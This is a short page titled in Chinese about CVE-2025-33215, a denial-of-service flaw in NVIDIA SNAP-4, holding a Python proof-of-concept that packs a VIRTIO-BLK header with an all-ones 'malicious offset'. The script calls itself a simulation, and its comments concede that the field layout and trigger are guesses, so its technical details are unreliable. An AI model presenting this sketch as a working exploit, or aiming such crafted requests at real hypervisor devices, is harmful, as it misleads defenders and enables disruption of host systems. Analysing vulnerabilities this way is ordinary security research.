CVE-2025-33215 NVIDIA SNAP-4拒绝服务漏洞

#!/usr/bin/env python3 """ Conceptual PoC for CVE-2025-33215 This script demonstrates crafting a VIRTIO-BLK request with a malicious pointer offset to trigger an out-of-bounds access. Note: This is a simulation for analysis purposes. """ import struct def craft_malicious_virtio_request(): # VIRTIO_BLK_REQ header structure (simplified) # type (32-bit), reserved (32-bit), sector (64-bit) # Normal request type: VIRTIO_BLK_T_IN = 0 # We focus on the memory offset logic which is usually part of the descriptor chain # In a real exploit, this would involve setting up the Virtqueue descriptor # with an invalid address or length. TYPE_READ = 0 RESERVED = 0 # The sector number itself might not be the trigger, but the payload handling. # Assuming the vulnerability is in how the buffer address is calculated from guest inputs. # Let's simulate sending a message with an invalid offset parameter # that the vulnerable driver interprets as a pointer. print("[*] Crafting malicious VIRTIO-BLK header...") # This represents the data sent to the VIRTIO-BLK device # The specific 'offset' field triggering the bug would be context-dependent # based on the NVIDIA SNAP-4 implementation details. malicious_offset = 0xFFFFFFFFFFFFFFFF # Max value to force out-of-bounds # Construct a payload that includes this offset # (Structure depends on specific protocol implementation of SNAP-4) payload = struct.pack('<IIQ', TYPE_READ, RESERVED, 0) # Standard header payload += struct.pack('<Q', malicious_offset) # Malicious extension return payload if __name__ == "__main__": poc = craft_malicious_virtio_request() print(f"[+] Malicious payload generated (length: {len(poc)} bytes)") print(f"[!] Payload hexdump: {poc.hex()}") print("[!] In a real scenario, this would be injected via a Guest VM to the Host VIRTIO device.")